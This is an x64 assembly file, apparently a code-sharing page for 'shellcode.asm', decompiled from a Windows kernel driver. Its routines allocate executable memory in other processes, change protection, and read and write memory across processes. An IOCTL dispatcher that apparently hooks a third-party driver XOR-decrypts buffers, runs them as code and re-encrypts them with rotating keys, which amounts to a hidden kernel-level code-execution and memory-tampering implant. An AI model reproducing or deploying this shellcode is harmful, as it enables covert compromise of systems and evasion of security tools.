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shellcode.asm
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736 lines (668 loc) · 28.4 KB
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.CODE
_DoMemAlloc proc ; CODE XREF: HookLuDashi+11C¡üp
; DATA XREF: .pdata:0000000140006054¡ýo
mov [rsp+8], rcx
sub rsp, 58h
mov dword ptr [rsp+30h], 0
lea rdx, [rsp+38h]
mov rax, [rsp+60h]
mov rcx, [rax+8]
mov rax, 78888030C9E8F000h
call rax
mov [rsp+30h], eax
mov rax, [rsp+60h]
mov eax, [rax+20h]
mov [rsp+34h], eax
cmp dword ptr [rsp+30h], 0
jl loc_140001F34
mov rcx, [rsp+38h]
mov rax, 78888040C9E8F000h
call rax
mov qword ptr [rsp+40h], 0
mov dword ptr [rsp+28h], 40h
mov dword ptr [rsp+20h], 3000h
lea r9, [rsp+34h]
xor r8d, r8d
lea rdx, [rsp+40h]
mov rcx, 0FFFFFFFFFFFFFFFFh
mov rax, 78888090C9E8F000h
call rax
test eax, eax
jge short loc_140001EFE
mov dword ptr [rsp+30h], 40000015h
jmp short loc_140001F06
; ---------------------------------------------------------------------------
loc_140001EFE: ; CODE XREF: DoMemAlloc+92¡üj
mov dword ptr [rsp+30h], 0
loc_140001F06: ; CODE XREF: DoMemAlloc+9C¡üj
mov rax, 78888060C9E8F000h
call rax
mov rcx, [rsp+38h]
mov rax, 78888070C9E8F000h
call rax
mov rax, [rsp+60h]
mov rax, [rax+18h]
mov rcx, [rsp+40h]
mov [rax], rcx
loc_140001F34: ; CODE XREF: DoMemAlloc+40¡üj
xor eax, eax
add rsp, 58h
ret
_DoMemAlloc endp
; ---------------------------------------------------------------------------
int 3
int 3
int 3
int 3
; =============== S U B R O U T I N E =======================================
_DoMemBase proc ; CODE XREF: HookLuDashi+107¡üp
; DATA XREF: .pdata:0000000140006060¡ýo
; FUNCTION CHUNK AT .text:00000001400036F0 SIZE 00000022 BYTES
; __unwind { // __C_specific_handler_0
mov [rsp+8], rcx
sub rsp, 48h
mov qword ptr [rsp+30h], 0
lea rdx, [rsp+28h]
mov rax, [rsp+50h]
mov rcx, [rax+8]
mov rax, 78888030C9E8F000h
call rax
mov [rsp+20h], eax
cmp dword ptr [rsp+20h], 0
jnz short loc_140001F7F
cmp qword ptr [rsp+28h], 0
jnz short loc_140001F86
loc_140001F7F: ; CODE XREF: DoMemBase+35¡üj
mov eax, 40000015h
jmp short loc_140001FF7
; ---------------------------------------------------------------------------
loc_140001F86: ; CODE XREF: DoMemBase+3D¡üj
; __try { // __except at 140001FDD
mov rcx, [rsp+28h]
mov rax, 78888040C9E8F000h
call rax
mov rcx, [rsp+28h]
mov rax, 78888050C9E8F000h
call rax
mov [rsp+30h], rax
mov rax, 78888060C9E8F000h
call rax
mov rcx, [rsp+28h]
mov rax, 78888070C9E8F000h
call rax
mov rax, [rsp+50h]
mov rax, [rax+18h]
mov rcx, [rsp+30h]
mov [rax], rcx
jmp short loc_140001FF5
; } // starts at 140001F86
; ---------------------------------------------------------------------------
; __except(DoMemBase$filt$0) // owned by 140001F86
mov rcx, [rsp+28h]
mov rax, 78888070C9E8F000h
call rax
mov eax, 40000015h
jmp short loc_140001FF7
; ---------------------------------------------------------------------------
loc_140001FF5: ; CODE XREF: DoMemBase+9B¡üj
xor eax, eax
loc_140001FF7: ; CODE XREF: DoMemBase+44¡üj
; DoMemBase+B3¡üj
add rsp, 48h
ret
; } // starts at 140001F40
_DoMemBase endp
; ---------------------------------------------------------------------------
int 3
int 3
int 3
int 3
; =============== S U B R O U T I N E =======================================
_DoMemProtect proc ; CODE XREF: HookLuDashi+123¡üp
; DATA XREF: .pdata:000000014000606C¡ýo
mov [rsp+8], rcx
sub rsp, 58h
mov dword ptr [rsp+30h], 0
mov rax, [rsp+60h]
mov eax, [rax+20h]
mov [rsp+34h], eax
mov rax, [rsp+60h]
mov rax, [rax+18h]
mov [rsp+48h], rax
lea rdx, [rsp+40h]
mov rax, [rsp+60h]
mov rcx, [rax+8]
mov rax, 78888030C9E8F000h
call rax
mov [rsp+30h], eax
cmp dword ptr [rsp+30h], 0
jl loc_1400020E7
mov rcx, [rsp+40h]
mov rax, 78888040C9E8F000h
call rax
mov qword ptr [rsp+38h], 0
mov rax, [rsp+60h]
add rax, 20h
mov dword ptr [rsp+28h], 40h
mov qword ptr [rsp+20h], 3000h
mov r9d, eax
xor r8d, r8d
lea rdx, [rsp+38h]
mov rcx, 0FFFFFFFFFFFFFFFFh
mov rax, 788880A0C9E8F000h
call rax
test eax, eax
jge short loc_1400020B4
mov dword ptr [rsp+30h], 40000015h
jmp short loc_1400020BC
; ---------------------------------------------------------------------------
loc_1400020B4: ; CODE XREF: DoMemProtect+A8¡üj
mov dword ptr [rsp+30h], 0
loc_1400020BC: ; CODE XREF: DoMemProtect+B2¡üj
mov rax, [rsp+60h]
mov rcx, [rsp+38h]
mov [rax+18h], rcx
mov rax, 78888060C9E8F000h
call rax
mov rcx, [rsp+40h]
mov rax, 78888070C9E8F000h
call rax
loc_1400020E7: ; CODE XREF: DoMemProtect+4E¡üj
xor eax, eax
add rsp, 58h
ret
_DoMemProtect endp
; ---------------------------------------------------------------------------
algn_1400020EE: ; DATA XREF: .pdata:000000014000606C¡ýo
align 10h
; =============== S U B R O U T I N E =======================================
_DoMemRead proc ; CODE XREF: HookLuDashi+10E¡üp
; DATA XREF: .pdata:0000000140006078¡ýo
mov [rsp+8], rcx
sub rsp, 78h
mov dword ptr [rsp+44h], 0
mov rax, [rsp+80h]
mov rax, [rax+10h]
mov [rsp+58h], rax
mov rax, [rsp+80h]
mov eax, [rax+20h]
mov [rsp+40h], eax
mov rax, [rsp+80h]
mov rax, [rax+18h]
mov [rsp+50h], rax
mov eax, [rsp+40h]
mov rcx, [rsp+58h]
add rcx, rax
mov rax, rcx
cmp rax, [rsp+58h]
jb short loc_14000219A
mov eax, [rsp+40h]
mov rcx, [rsp+50h]
add rcx, rax
mov rax, rcx
cmp rax, [rsp+50h]
jb short loc_14000219A
mov eax, [rsp+40h]
mov rcx, [rsp+58h]
add rcx, rax
mov rax, rcx
mov rcx, 788880D0C9E8F000h
cmp rax, rcx
ja short loc_14000219A
mov eax, [rsp+40h]
mov rcx, [rsp+50h]
add rcx, rax
mov rax, rcx
mov rcx, 788880D0C9E8F000h
cmp rax, rcx
jbe short loc_1400021A9
loc_14000219A: ; CODE XREF: DoMemRead+56¡üj
; DoMemRead+6C¡üj ...
mov eax, 40000015h
jmp loc_14000226B
; ---------------------------------------------------------------------------
jmp loc_140002269
; ---------------------------------------------------------------------------
loc_1400021A9: ; CODE XREF: DoMemRead+A8¡üj
lea rdx, [rsp+60h]
mov rax, [rsp+80h]
mov rcx, [rax+8]
mov rax, 78888030C9E8F000h
call rax
mov [rsp+44h], eax
cmp dword ptr [rsp+44h], 0
jl loc_140002269
lea rdx, [rsp+68h]
mov rax, [rsp+80h]
mov rcx, [rax]
mov rax, 78888030C9E8F000h
call rax
mov [rsp+44h], eax
cmp dword ptr [rsp+44h], 0
jl short loc_140002258
mov eax, [rsp+40h]
lea rcx, [rsp+48h]
mov [rsp+30h], rcx
mov byte ptr [rsp+28h], 0
mov [rsp+20h], rax
mov r9, [rsp+50h]
mov r8, [rsp+68h]
mov rdx, [rsp+58h]
mov rcx, [rsp+60h]
mov rax, 78888080C9E8F000h
call rax
mov rcx, [rsp+60h]
mov rax, 78888070C9E8F000h
call rax
mov rcx, [rsp+68h]
mov rax, 78888070C9E8F000h
call rax
jmp short loc_140002269
; ---------------------------------------------------------------------------
loc_140002258: ; CODE XREF: DoMemRead+10A¡üj
mov rcx, [rsp+60h]
mov rax, 78888070C9E8F000h
call rax
loc_140002269: ; CODE XREF: DoMemRead+B4¡üj
; DoMemRead+DF¡üj ...
xor eax, eax
loc_14000226B: ; CODE XREF: DoMemRead+AF¡üj
add rsp, 78h
ret
_DoMemRead endp
int 3
int 3
int 3
int 3
; =============== S U B R O U T I N E =======================================
_DoMemWrite proc ; CODE XREF: HookLuDashi+115¡üp
; DATA XREF: .pdata:0000000140006078¡ýo ...
mov [rsp+8], rcx
sub rsp, 78h
mov dword ptr [rsp+44h], 0
mov rax, [rsp+80h]
mov rax, [rax+10h]
mov [rsp+50h], rax
mov rax, [rsp+80h]
mov eax, [rax+20h]
mov [rsp+40h], eax
mov rax, [rsp+80h]
mov rax, [rax+18h]
mov [rsp+58h], rax
mov eax, [rsp+40h]
mov rcx, [rsp+50h]
add rcx, rax
mov rax, rcx
cmp rax, [rsp+50h]
jb short loc_14000231A
mov eax, [rsp+40h]
mov rcx, [rsp+58h]
add rcx, rax
mov rax, rcx
cmp rax, [rsp+58h]
jb short loc_14000231A
mov eax, [rsp+40h]
mov rcx, [rsp+50h]
add rcx, rax
mov rax, rcx
mov rcx, 788880D0C9E8F000h
cmp rax, rcx
ja short loc_14000231A
mov eax, [rsp+40h]
mov rcx, [rsp+58h]
add rcx, rax
mov rax, rcx
mov rcx, 788880D0C9E8F000h
cmp rax, rcx
jbe short loc_140002329
loc_14000231A: ; CODE XREF: DoMemWrite+56¡üj
; DoMemWrite+6C¡üj ...
mov eax, 40000015h
jmp loc_1400023EB
; ---------------------------------------------------------------------------
jmp loc_1400023E9
; ---------------------------------------------------------------------------
loc_140002329: ; CODE XREF: DoMemWrite+A8¡üj
lea rdx, [rsp+60h]
mov rax, [rsp+80h]
mov rcx, [rax+8]
mov rax, 78888030C9E8F000h
call rax
mov [rsp+44h], eax
cmp dword ptr [rsp+44h], 0
jl loc_1400023E9
lea rdx, [rsp+68h]
mov rax, [rsp+80h]
mov rcx, [rax]
mov rax, 78888030C9E8F000h
call rax
mov [rsp+44h], eax
cmp dword ptr [rsp+44h], 0
jl short loc_1400023D8
mov eax, [rsp+40h]
lea rcx, [rsp+48h]
mov [rsp+30h], rcx
mov byte ptr [rsp+28h], 0
mov [rsp+20h], rax
mov r9, [rsp+50h]
mov r8, [rsp+60h]
mov rdx, [rsp+58h]
mov rcx, [rsp+68h]
mov rax, 78888080C9E8F000h
call rax
mov rcx, [rsp+60h]
mov rax, 78888070C9E8F000h
call rax
mov rcx, [rsp+68h]
mov rax, 78888070C9E8F000h
call rax
jmp short loc_1400023E9
; ---------------------------------------------------------------------------
loc_1400023D8: ; CODE XREF: DoMemWrite+10A¡üj
mov rcx, [rsp+60h]
mov rax, 78888070C9E8F000h
call rax
loc_1400023E9: ; CODE XREF: DoMemWrite+B4¡üj
; DoMemWrite+DF¡üj ...
xor eax, eax
loc_1400023EB: ; CODE XREF: DoMemWrite+AF¡üj
add rsp, 78h
ret
_DoMemWrite endp
int 3
int 3
int 3
int 3
; =============== S U B R O U T I N E =======================================
_myIrpDispath proc ; CODE XREF: HookLuDashi+100¡üp
; DATA XREF: HookLuDashi+C6¡üo ...
mov [rsp+10h], rdx
mov [rsp+8], rcx
sub rsp, 98h
mov dword ptr [rsp+28h], 0
mov qword ptr [rsp+60h], 0
mov rax, [rsp+0A8h]
mov rax, [rax+0B8h]
mov [rsp+60h], rax
cmp qword ptr [rsp+60h], 0
jz loc_1400027F9
mov rax, [rsp+60h]
movzx eax, byte ptr [rax]
cmp eax, 0Eh
jnz loc_1400027F9
mov rax, [rsp+60h]
mov eax, [rax+18h]
mov [rsp+30h], eax
cmp dword ptr [rsp+30h], 222180h
jb loc_1400027F9
mov rax, [rsp+0A8h]
mov qword ptr [rax+38h], 0
mov rax, [rsp+0A8h]
mov dword ptr [rax+30h], 0
mov rax, 88888000C9E8F000h
mov [rsp+20h], rax
mov eax, [rsp+30h]
mov [rsp+2Ch], eax
cmp dword ptr [rsp+2Ch], 222180h
jz short loc_1400024EA
cmp dword ptr [rsp+2Ch], 222184h
jz loc_14000257A
cmp dword ptr [rsp+2Ch], 222188h
jz loc_14000260E
cmp dword ptr [rsp+2Ch], 22218Ch
jz loc_1400026A2
cmp dword ptr [rsp+2Ch], 222190h
jz loc_140002742
jmp loc_1400027DD
; ---------------------------------------------------------------------------
loc_1400024EA: ; CODE XREF: myIrpDispath+AB¡üj
mov rax, [rsp+20h]
mov rax, [rax+8]
mov [rsp+68h], rax
mov rax, [rsp+20h]
mov eax, [rax+10h]
mov [rsp+38h], eax
mov rax, [rsp+20h]
mov eax, [rax]
mov [rsp+34h], eax
movzx r8d, byte ptr [rsp+34h]
mov edx, [rsp+38h]
mov rcx, [rsp+68h]
mov rax, 68888000C9E8F000h
call rax
mov rax, [rsp+0A8h]
mov rcx, [rax+18h]
call qword ptr [rsp+68h]
mov [rsp+28h], eax
mov eax, [rsp+34h]
inc eax
cdq
mov ecx, 5Ah
idiv ecx
mov eax, edx
inc eax
mov rcx, [rsp+20h]
mov [rcx], eax
mov rax, [rsp+20h]
movzx r8d, byte ptr [rax]
mov edx, [rsp+38h]
mov rcx, [rsp+68h]
mov rax, 68888000C9E8F000h
call rax
jmp loc_1400027DD
; ---------------------------------------------------------------------------
loc_14000257A: ; CODE XREF: myIrpDispath+B5¡üj
mov rax, [rsp+20h]
mov rax, [rax+18h]
mov [rsp+70h], rax
mov rax, [rsp+20h]
mov eax, [rax+20h]
mov [rsp+40h], eax
mov rax, [rsp+20h]
mov eax, [rax+14h]
mov [rsp+3Ch], eax
movzx r8d, byte ptr [rsp+3Ch]
mov edx, [rsp+40h]
mov rcx, [rsp+70h]
mov rax, 68888000C9E8F000h
call rax
mov rax, [rsp+0A8h]
mov rcx, [rax+18h]
call qword ptr [rsp+70h]
mov [rsp+28h], eax
mov eax, [rsp+3Ch]
inc eax
cdq
mov ecx, 5Bh
idiv ecx
mov eax, edx
add eax, 3
mov rcx, [rsp+20h]
mov [rcx+14h], eax
mov rax, [rsp+20h]
movzx r8d, byte ptr [rax+14h]
mov edx, [rsp+40h]
mov rcx, [rsp+70h]
mov rax, 68888000C9E8F000h
call rax
jmp loc_1400027DD
; ---------------------------------------------------------------------------
loc_14000260E: ; CODE XREF: myIrpDispath+C3¡üj
mov rax, [rsp+20h]
mov rax, [rax+28h]
mov [rsp+78h], rax
mov rax, [rsp+20h]
mov eax, [rax+30h]
mov [rsp+48h], eax
mov rax, [rsp+20h]
mov eax, [rax+24h]
mov [rsp+44h], eax
movzx r8d, byte ptr [rsp+44h]
mov edx, [rsp+48h]
mov rcx, [rsp+78h]
mov rax, 68888000C9E8F000h
call rax
mov rax, [rsp+0A8h]
mov rcx, [rax+18h]
call qword ptr [rsp+78h]
mov [rsp+28h], eax
mov eax, [rsp+44h]
inc eax
cdq
mov ecx, 5Ch
idiv ecx
mov eax, edx
add eax, 5
mov rcx, [rsp+20h]
mov [rcx+24h], eax
mov rax, [rsp+20h]
movzx r8d, byte ptr [rax+24h]
mov edx, [rsp+48h]
mov rcx, [rsp+78h]
mov rax, 68888000C9E8F000h
call rax
jmp loc_1400027DD
; ---------------------------------------------------------------------------
loc_1400026A2: ; CODE XREF: myIrpDispath+D1¡üj
mov rax, [rsp+20h]
mov rax, [rax+38h]
mov [rsp+80h], rax
mov rax, [rsp+20h]
mov eax, [rax+40h]
mov [rsp+50h], eax
mov rax, [rsp+20h]
mov eax, [rax+34h]
mov [rsp+4Ch], eax
movzx r8d, byte ptr [rsp+4Ch]
mov edx, [rsp+50h]
mov rcx, [rsp+80h]
mov rax, 68888000C9E8F000h
call rax
mov rax, [rsp+0A8h]
mov rcx, [rax+18h]
call qword ptr [rsp+80h]
mov [rsp+28h], eax
mov eax, [rsp+4Ch]
inc eax
cdq
mov ecx, 5Dh
idiv ecx
mov eax, edx
add eax, 7
mov rcx, [rsp+20h]
mov [rcx+34h], eax
mov rax, [rsp+20h]
movzx r8d, byte ptr [rax+34h]
mov edx, [rsp+50h]
mov rcx, [rsp+80h]
mov rax, 68888000C9E8F000h
call rax
jmp loc_1400027DD
; ---------------------------------------------------------------------------
loc_140002742: ; CODE XREF: myIrpDispath+DF¡üj
mov rax, [rsp+20h]
mov rax, [rax+48h]
mov [rsp+88h], rax
mov rax, [rsp+20h]
mov eax, [rax+50h]
mov [rsp+58h], eax
mov rax, [rsp+20h]
mov eax, [rax+44h]
mov [rsp+54h], eax
movzx r8d, byte ptr [rsp+54h]
mov edx, [rsp+58h]
mov rcx, [rsp+88h]
mov rax, 68888000C9E8F000h
call rax
mov rax, [rsp+0A8h]
mov rcx, [rax+18h]
call qword ptr [rsp+88h]
mov [rsp+28h], eax
mov eax, [rsp+54h]
inc eax
cdq
mov ecx, 5Eh
idiv ecx
mov eax, edx
add eax, 9
mov rcx, [rsp+20h]
mov [rcx+44h], eax
mov rax, [rsp+20h]
movzx r8d, byte ptr [rax+44h]
mov edx, [rsp+58h]
mov rcx, [rsp+88h]
mov rax, 68888000C9E8F000h
call rax
loc_1400027DD: ; CODE XREF: myIrpDispath+E5¡üj
; myIrpDispath+175¡üj ...
xor edx, edx
mov rcx, [rsp+0A8h]
mov rax, 78888020C9E8F000h
call rax
mov eax, [rsp+28h]
jmp short loc_140002813
; ---------------------------------------------------------------------------
loc_1400027F9: ; CODE XREF: myIrpDispath+3C¡üj
; myIrpDispath+4D¡üj ...
xor edx, edx
mov rcx, [rsp+0A8h]
mov rax, 78888020C9E8F000h
call rax
mov eax, [rsp+28h]
loc_140002813: ; CODE XREF: myIrpDispath+3F7¡üj
add rsp, 98h
ret
_myIrpDispath endp
int 3
int 3
int 3
int 3
_EncryptDecryptBuf1 proc ; CODE XREF: HookLuDashi+12F¡üp
; dealMyFun+43¡ýp
; DATA XREF: ...
mov [rsp+18h], r8b
mov [rsp+10h], edx
mov [rsp+8], rcx
sub rsp, 18h
mov dword ptr [rsp], 0
jmp short loc_140002943
; ---------------------------------------------------------------------------
loc_14000293B: ; CODE XREF: EncryptDecryptBuf+4C¡ýj
mov eax, [rsp]
inc eax
mov [rsp], eax
loc_140002943: ; CODE XREF: EncryptDecryptBuf+19¡üj
mov eax, [rsp+28h]
cmp [rsp], eax
jge short loc_14000296E
movsxd rax, dword ptr [rsp]
mov rcx, [rsp+20h]
movsx eax, byte ptr [rcx+rax]
movsx ecx, byte ptr [rsp+30h]
xor eax, ecx
movsxd rcx, dword ptr [rsp]
mov rdx, [rsp+20h]
mov [rdx+rcx], al
jmp short loc_14000293B
; ---------------------------------------------------------------------------
loc_14000296E: ; CODE XREF: EncryptDecryptBuf+2A¡üj
add rsp, 18h
ret
_EncryptDecryptBuf1 endp
_EncryptDecryptBuf proc ; CODE XREF: HookLuDashi+D4¡üp
movsxd rax, edx
test edx, edx
jle short locret_140001DB3
loc_140001DA7: ; CODE XREF: EncryptDecryptBuf+11¡ýj
xor [rcx], r8b
inc rcx
sub rax, 1
jnz short loc_140001DA7
locret_140001DB3: ; CODE XREF: EncryptDecryptBuf+5¡üj
ret
_EncryptDecryptBuf endp
int 3
int 3
int 3
int 3
END